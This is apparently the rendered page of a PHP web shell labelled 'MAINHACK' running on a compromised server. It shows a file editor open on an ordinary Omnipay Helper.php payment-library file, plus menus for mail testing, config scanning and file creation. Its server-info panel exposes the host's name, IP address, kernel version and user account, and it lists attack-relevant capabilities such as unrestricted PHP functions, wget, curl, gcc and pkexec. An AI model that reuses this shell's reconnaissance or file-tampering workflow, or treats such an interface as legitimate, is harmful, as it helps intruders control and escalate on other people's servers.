[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Helper.php
<?php /** * Helper class */ namespace Omnipay\Common; use InvalidArgumentException; /** * Helper class * * This class defines various static utility functions that are in use * throughout the Omnipay system. */ class Helper { /** * Convert a string to camelCase. Strings already in camelCase will not be harmed. * * @param string $str The input string * @return string camelCased output string */ public static function camelCase($str) { $str = self::convertToLowercase($str); return preg_replace_callback( '/_([a-z])/', function ($match) { return strtoupper($match[1]); }, $str ); } /** * Convert strings with underscores to be all lowercase before camelCase is preformed. * * @param string $str The input string * @return string The output string */ protected static function convertToLowercase($str) { $explodedStr = explode('_', $str); $lowercasedStr = []; if (count($explodedStr) > 1) { foreach ($explodedStr as $value) { $lowercasedStr[] = strtolower($value); } $str = implode('_', $lowercasedStr); } return $str; } /** * Validate a card number according to the Luhn algorithm. * * @param string $number The card number to validate * @return boolean True if the supplied card number is valid */ public static function validateLuhn($number) { $str = ''; foreach (array_reverse(str_split($number)) as $i => $c) { $str .= $i % 2 ? $c * 2 : $c; } return array_sum(str_split($str)) % 10 === 0; } /** * Initialize an object with a given array of parameters * * Parameters are automatically converted to camelCase. Any parameters which do * not match a setter on the target object are ignored. * * @param mixed $target The object to set parameters on * @param array $parameters An array of parameters to set */ public static function initialize($target, array $parameters = null) { if ($parameters) { foreach ($parameters as $key => $value) { $method = 'set'.ucfirst(static::camelCase($key)); if (method_exists($target, $method)) { $target->$method($value); } } } } /** * Resolve a gateway class to a short name. * * The short name can be used with GatewayFactory as an alias of the gateway class, * to create new instances of a gateway. */ public static function getGatewayShortName($className) { if (0 === strpos($className, '\\')) { $className = substr($className, 1); } if (0 === strpos($className, 'Omnipay\\')) { return trim(str_replace('\\', '_', substr($className, 8, -7)), '_'); } return '\\'.$className; } /** * Resolve a short gateway name to a full namespaced gateway class. * * Class names beginning with a namespace marker (\) are left intact. * Non-namespaced classes are expected to be in the \Omnipay namespace, e.g.: * * \Custom\Gateway => \Custom\Gateway * \Custom_Gateway => \Custom_Gateway * Stripe => \Omnipay\Stripe\Gateway * PayPal\Express => \Omnipay\PayPal\ExpressGateway * PayPal_Express => \Omnipay\PayPal\ExpressGateway * * @param string $shortName The short gateway name or the FQCN * @return string The fully namespaced gateway class name */ public static function getGatewayClassName($shortName) { // If the class starts with \ or Omnipay\, assume it's a FQCN if (0 === strpos($shortName, '\\') || 0 === strpos($shortName, 'Omnipay\\')) { return $shortName; } // Check if the class exists and implements the Gateway Interface, if so -> FCQN if (is_subclass_of($shortName, GatewayInterface::class, true)) { return $shortName; } // replace underscores with namespace marker, PSR-0 style $shortName = str_replace('_', '\\', $shortName); if (false === strpos($shortName, '\\')) { $shortName .= '\\'; } return '\\Omnipay\\'.$shortName.'Gateway'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002